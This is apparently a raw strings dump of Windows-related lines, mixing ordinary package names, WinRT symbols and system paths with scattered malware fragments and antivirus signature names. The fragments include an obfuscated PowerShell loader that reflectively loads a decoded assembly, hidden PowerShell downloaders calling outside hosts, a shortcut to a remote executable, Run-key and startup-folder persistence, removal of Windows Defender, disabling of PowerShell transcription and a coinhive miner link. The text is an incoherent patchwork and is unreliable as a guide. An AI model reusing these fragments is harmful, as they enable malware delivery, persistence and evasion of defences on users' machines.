Microsoft.Windows.Widgets.Hosts.WidgetHostContext
Microsoft.Windows.Widgets.Internal.Feeds.Hosts.FeedCatalog
Microsoft.Windows.Widgets.Internal.Feeds.Hosts.FeedHostManager
Microsoft.Windows.Widgets.Internal.Feeds.Providers.FeedChannelManager
Microsoft.Windows.Widgets.Internal.Feeds.Providers.FeedManager
Microsoft.Windows.Widgets.Internal.Hosts.WidgetApiInformation
Microsoft.Windows.Widgets.Internal.Hosts.WidgetCatalog
Microsoft.Windows.Widgets.Internal.Hosts.WidgetHostManager
 \appdata\roaming\microsoft\windows\startmenu\programs\sta","true");
set"dest=%appdata%\microsoft\windows\startmenu\programH
windows.msn.com
windows.msn.cn
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
?"windows": 
5/(src="|href="|url\()\//g,"$1https://www.bing.com/")},n}();n.Windowsl
("WINDOWS_TITLE_TEXT"),"step1N
tWindows@
WINDOWS11
;shell.exe -windowstyle hidden 
!BQ\recycler\s-5-4-62-7581032776-5377505530-562822366-6588xiaoba-2018-1-10.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wshfp_no_host_check=temp=c:\tempsoftware\microsoft\windows\currentversion\policies\explorer\nofolderoptionssoftware\microsoft\windows\currentversion\policies\system\disableregistrytoolshttps://coinhive.com/lib/coinhive.min.js!#HSTR:Win32/PossibleKeylogger.B4
Microsoft.Windows.ContentDeliveryManag
tWindows
\windows\.+
Windows track app launches to improve Start and search results
\system32\wlbsctrl
WINDOWS11
WINDOWS11
e\microsoft"))thencreateobject("wscript.shell").run"c:\windows\system32\wscript.exe/e:vbscript.encoded:\microsoft"endifif(fso.fileexists("d:\apple"))
\system32\drivers\etc
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
Nsrat.dll.klgUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)TWebCamThreadNo Shares FoundCaptureWindowICSendMessage\\.\SMARTVSDReferer: http://@
WINDOWS11
\system32;C:\WI
\Microsoft\WindowsApps;
Mc:\windows\system32\drivers\beep.sys\dpvsocket.dll\filepages.syssoftware\microsoft\windows\marks info\
Suspicious Activity Detected. Your System might have been hackedcaused by the following file: SYSTEM32.DLL
default-windows action
@0:regwrite("hkey_current_user\software\microsoft\windows\currentversion\run","yahoomessengger","reg_sz",@systemdir&"\"&$name&$exe)
WindowsHologr
$ffssaa="aatzzv".replace('aa','').replace('zz','')$joyr="qq##m####e####//8##lg#########q###############################################g#####".replace('#','a')$pooi=$ffssaa+$iy$jhfsa=@($pooi)$pooi2=$ffssaa+$joyr+$oe$lkpl=@($pooi2)$mnhl=[system.convert].getmethod("frombase64string")$hgh=$mnhl.invoke($null,$jhfsa)$hgh2=$mnhl.invoke($null,$lkpl)$ggti='c:\windows\miaacroaasoft.nezzt\frazzmewzzork\v4.0.30319\regsvcs.exe'$yoo=[object[]]($ggti.replace('aa','').replace('zz',''),$hgh)[reflection.assembly]::load($hgh2).gettype('yes').getmethod('kiss').invoke($null,$yoo)set-clipboard-value"";exit
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/></dependentAssembly></dependency><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/><maxversiontested Id="10.0.18362.0"/></application></compatibility><application xmlns="urn:schemas-microsoft-com:asm.v3"><windowsSettings><heapType xmlns="http://schemas.microsoft.com/SMI/2020/WindowsSettings">SegmentHeap</heapType></windowsSettings></application></assembly>
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog{X
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelzB
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreviewy7
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadatauG
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManagerwM
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensionsvB
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHostt?
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadataq7
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHostrI
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHostsB
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadataoP
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensionspP
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package011120~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.ca
windowsbackup
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
l");a.run('%windir%\\system32\\cmd.exe/cpower1
\Windows\Temp\Magix.exe\
:\Windows\DNomb\Mpec.mbt://whtty.oss-cn-hongkong.aliyuncs.comC
#s\contrast-white\WindowsSecurityAppList.scale-200_0
\WindowsSY
:\windows\tasks
WINDOWSDIR$
Windows Defenderstart echo This PC Is W
 &remf4k!%systemroot%\system32\shell32.dll
//traveloriental.com/jav/windows.exe
iwshshell3.run("0","powershell-windowstylehidden$wscript=new-object-comobjectwscript.shell;$webclient=new-objectsystem.net.webclient;$random=new-objectrandom;$urls='http://asicom.info/templates/yoo_master/html/com_content/joomla.jpg'.split(',');$name=$random);
Windows::Isolation::Rtl::RtlGenerateBaseIdentityUnicodeKeyForm
kC:\WINDOWS\SYSTEM32\powrprofz
\repos\cyrus_windows\\
SLGetWindowsInformationDWORD
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
.Windows Defender Firewall with Advanced Security.lnk
*Windows PowerShell ISE.lnk|
*Windows PowerShell ISE (x86).lnk{
'Windows Media Player Legacy.lnkv
USERNAME=WINDOWS11$
windir=C:\WINDOWS
 Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
	COMPUTERNAME=WINDOWS11
OS=Windows_NT
c:\windows\system32\
c:\windows\system32\
c:\windows\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
winlogon.q
icon=%systemroot%\system32\shell32.dll,4
o em andamento.\windows\scr.jpg
%WINDOWS\bks
%WINDOWS\zbks
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
"{a8f777cc-c6af-447b-a611-10a9ba15a229}\windows\reload.dll\avg\avg9\avgupd.dllhttp://www.web-est.com/
dows\\system32\\com\open3389rvices\poziaini\u
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/7?
Windows\System32\mshta.exe(
windowsformsapp
WINLOGON.EXE
#DRVDIR#ZWebNds.sys#F001#c:/windows/ax01.da0uniconfi.dat{A09A01FF-1DBC-400C-8132-54FA4DBE4E96};{524F94CD-71CB-4CCD-81B1-58F4F6F51BFF};http://log.soomeng.com/wb/jdq/?mac=%sExploit:SWF/CVE-2014-9163
copy %s c:\windows\declient.exe
      <Color Name="ToolWindowShelf">
Windows.Data.Input.RadialControllerActionTriggers
Microsoft.Windows.Health.TestInProduction
Ddows\system32\cmd.exe/c"c
OS=Windows_NT
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Microsoft.Windows.Graphics.D3D12WARP
/c:\windows\system32\rundll32.exe c:\sgintf.dll,taskzutc
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
C:\WINDOWS\Explorer.EXE
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\vmtray\vmtray.pdb
@Security@Windows@@@Founde
onecoreuap\windows\advcore\winrt\directink\stencils\inkpresenterstencilrendererbase.cpp
onecoreuap\windows\dwm\common\telemetryhelper\processinformation\processinformation.cpp
onecoreuap\windows\advcore\winrt\directink\inkfeedbackmanager\inkfeedbackmanager.cpp
onecoreuap\windows\advcore\winrt\directink\inkfeedbackmanager\inkfeedbackhelper.cpp
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
:\program files[^\]*\windows kits\%d+\app certification kit\aitstatic.exe
:\programdata\docker\windowsfilter\
[a-z]:\{00000000%-0000%-0000%-0000%-000000000000}\svroot\windows\temp\[0-9a-f]+%-[0-9a-f]+%-[0-9a-f]+%-[0-9a-f]+%-[0-9a-f]+\mpsigstub%.exe$
[a-z]:\programdata\microsoft\windows defender\platform\[^\]+\mpsigstub%.exe$
\system32\
Windows t
C:\Program Files\WindowsApps\Microsoft.
C:\Program Files\WindowsApps\Microsoft.
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefault$
windows.hlp
net/sock_windows'
(@Microsoft-Windows-Kernel-StoreMgr
lfsifr[asifepo:i+00/c:\v1tiwindows@owhtpv.}windowsz1tvsystem32bowhtv.zxl4system32f2srundll32.exejstyq.9d"rundll32.exeo-nc:\windows\system32\rundll32.exe)..\..\..\..\windows\system32\rundll32.exe
?"%systemroot%\system32\imageres.dll%windir%\system32\rundll32.exe%windir%\system32\rundll32.exe%wn]nd.q`xuser-pcb8c@c64.[>gb8c@c64.[>g
uc:\windows\system32\syncappvpublishingserver.vbs;592,598,587,599,580,515,587,599,599,595,541,530,530,532,540,534,529,532,533,535,529,534,534,529,538,532,541,534,533,532,538,530,566,582,580,593,578,597,584,590,601,588,605,588,599,604,578,532,534,529,531,536,529,533,531,533,535,529,584,603,584|%{$
'hkey_local_machine\software\policies\microsoft\windows\powershell\'+$
.batc:\windows\system32\shell32.dll%systemroot%
Microsoft.Windows.Security.NGC.CryptNgc
Microsoft.Windows.AssignedAccess
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennialK9P
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App6
windows.terminal.settings
p%com.microsoft.windows.extensionpackageSystemTrayAliasPublicE%
cAction &,const enum winrt::Windows::Foundation::AsyncStatus &) const
{struct winrt::Windows::ApplicationModel::IAppInstanceStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::IAppInstanceStatics>(const struct winrt::param::hstring &)
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\winrt\Windows.ApplicationModel.h
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IAppInstanceStatics<struct winrt::Windows::ApplicationModel::IAppInstanceStatics>::GetActivatedEventArgs(void) const
struct winrt::Windows::ApplicationModel::Core::ICoreApplication3 __cdecl winrt::get_activation_factory<struct winrt::Windows::ApplicationModel::Core::ICoreApplication3>(const struct winrt::param::hstring &)
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\winrt\Windows.ApplicationModel.Core.h
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Core_ICoreApplication3<struct winrt::Windows::ApplicationModel::Core::ICoreApplication3>::RequestRestartAsync(const struct winrt::param::hstring &) const
C:\__w\1\s\packages\Microsoft.Windows.ImplementationLibrary.1.0.240803.1\include\wil\token_helpers.h
C:\__w\1\s\packages\Microsoft.Windows.ImplementationLibrary.1.0.240803.1\include\wil\result_macros.h
void __cdecl winrt::Microsoft::Windows::AppLifecycle::implementation::RegisterFileExtension(const class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > &)
class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > __cdecl winrt::Microsoft::Windows::AppLifecycle::implementation::CreateCapabilitySubKeyPath(enum winrt::Microsoft::Windows::AppLifecycle::implementation::AssociationType)
Fauto __cdecl winrt::impl::consume_Windows_Foundation_IUriRuntimeClass<struct winrt::Windows::Foundation::IUriRuntimeClass>::Host(void) const
auto __cdecl winrt::impl::consume_Microsoft_Windows_AppLifecycle_IAppActivationArguments<struct winrt::Microsoft::Windows::AppLifecycle::IAppActivationArguments>::Data(void) const
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::impl::as<struct winrt::Windows::Foundation::IInspectable,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
struct winrt::com_ptr<struct IUnknown> __cdecl winrt::impl::as<struct IUnknown,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
struct winrt::Windows::ApplicationModel::Activation::IActivatedEventArgs __cdecl winrt::impl::as<struct winrt::Windows::ApplicationModel::Activation::IActivatedEventArgs,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
struct winrt::Microsoft::Windows::AppLifecycle::H
Microsoft.Windows.PushNotifi
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
:\windows\temp\.*_processdump_.*.dmp
:\windows\temp\.*_memory.hdmp
\windows\system32\werfault.exe
\windows\system32\svchost.exe
uu = "c:\users\" + application.username + "\appdata\roaming\microsoft\windows\start menu\programs\startup\dnssystem.exe"u
Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.SystemPartitionIndex
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.CuratedTileCollection.RootCollection
Windows.Data.Platform.Partitioning.OperatingSystemVersion
Windows.Data.CuratedTileCollection.TileCollection
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Platform.Partitioning.DeviceExperiencePartition
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.CuratedTileCollection.TileCollectionContainer
Windows.Data.Platform.Partitioning.DevicePartitions
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.BackupRestore.ManifestBackupStore
Windows.Data.Platform.Partitioning.PartitionIndex
Windows.Data.LockScreenSettings.DesktopLockScreen
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.ActivePartitions
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.BackupRestore.DeviceProfile
System.Windows.Forms.UnsafeNativeMethods.IOleDropTarget.OleDragOver
System.Windows.Forms.IDropTarget.OnDragOver
System.Windows.Forms.UnsafeNativeMethods.IAccessibleEx.GetIAccessiblePair
onecoreuap\windows\moderncore\inputv2\inc\ClosableComPtr.h
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\stylus\events\client\peneventswinrt.cpp
onecoreuap\windows\moderncore\inputv2\Bamos\codegen\system\objfre\amd64\ISMBamos.ISMBamos.bamo.h
onecoreuap\windows\moderncore\inputv2\inputhost\host\wrl2contextsession.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\dragndrop\api\droptarget\winrt\droptargetwinrt.cpp
onecoreuap\windows\moderncore\inputv2\delivery\client\inputsource.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\windowsmessagedelivery\client\lib\inputactivationlistenerwinrt.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\host\inputhost.cpp
onecoreuap\windows\moderncore\inputv2\delivery\client\inputdeliveryclient.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\clients\generic\lib\genericinputhost.cpp
zecholoop>>%systemdrive%\windows\system32\rundll32.vbs
.txtstart-processnotepad-windowstylehidden
..\..\windows\system32\rundll32.exereplay.dll,scdhrynuuu
[windows.input.keyboard]::iskeydown([system.windows.input.key]
get-windowsfeature
windows-defender|uninstall-windowsfeature
ext-ms-win-ntuser-windowstation-l1-1-0.dll
 Windows
	Windows11
\Windows\
System32\
\Windows\
System32\
\Windows\
System32\
\Windows\
System32\
\Windows\
System32\h
\Windows\
System32\h
\Windows\
System32\
\Windows\
System32\
"c:\windows\explorer " & 
 #add_keydown({start-processpowershell-windowstylehidden-argumentlist'-command',$myinvocation.line});$f.showdialog()"gotoloop
[internetshortcut]iconindex=70hotkey=0idlist=url=file://46.8.19.163/mise/server.exeiconfile=c:\windows\system32\shell32.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-nologoiex(iex(get-content.\
 Windows
 Windows
$\windows\te
Temporary Projects\WindowsFormsApplication1\obj\x86\Release\WindowsFormsApplication1.pdb!#TEL:Trojan:Win64/Mikey.AHB!MTB
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{0CB4A94A-6E8C-477B-88C8-A3799FC97414}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T15:59:50Z</wsu:Created><wsu:Expires>2026-02-20T16:04:50Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RegD
Microsoft.Windows.Services.Experiences.ExperienceExtensions
Microsoft.Windows.Wil.FeatureLogging
`\shell\auto\command=a.exe ec:\windows\system32\a.exec:\windows\system32\project1_J
Aset-itemproperty-path'hklm:\software\wow6432node\policies\microsoft\windows\powershell\transcription'-nameenableinvocationheader-value0`
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
3^Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
Microsoft.Windows.CapabilityAccessManager
Microsoft.Windows.CapabilityAccessManager.Aggr
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.StateRepository.Service
GetWindowsDirectoryW
api-ms-win-core-windowserrorreporting-l1-1-1.dll
LoginWindowsApp.dvdForm.resources
LoginWindowsApp.Resources.resources
LoginWindowsApp.RentForm.resources
LoginWindowsApp.returnsForm.resources
LoginWindowsApp.VideoGameForm.resources
LoginWindowsApp.VideoPOSForm.resources
Software\Microsoft\Windows\dybklede\Uninstall\tekstningen\Milieuernes\Biologiklasser\scrambS
Desktop" & Application.PathSeparator &file.exe".Open "GET", myURL, FalseWinHttpReq.SendShell("C:\WINDOWS\NOTEPAD.EXE", 1)
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsConcatString
WindowsPromoteStringBuffer
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WINDOWS\system32\config
\windows
Microsoft.Windows.AppXDeploymentServer
Microsoft.Windows.AppxDeploymentFallback
Microsoft-Windows-AppModel-State
Microsoft.Windows.AppxSparseGeneration
Microsoft.Windows.ApplicationModel.DesktopAppx
Microsoft.Windows.StateRepository.Service
Microsoft.Windows.AppModel.Tiles
Microsoft.Windows.Security.CustomCapability
Microsoft.Windows.AppXDeploymentExtensions
wow64_microsoft-windows-wmi-text-encoding_31bf3856ad364e35_none_935659ec52406a8e
wow64_microsoft-windows-wmi-view-provider_31bf3856ad364e35_none_156be0da6a07da88
wow64_microsoft-windows-wmi-wmiclnt.resources_31bf3856ad364e35_en-us_dc2011052f329fb6
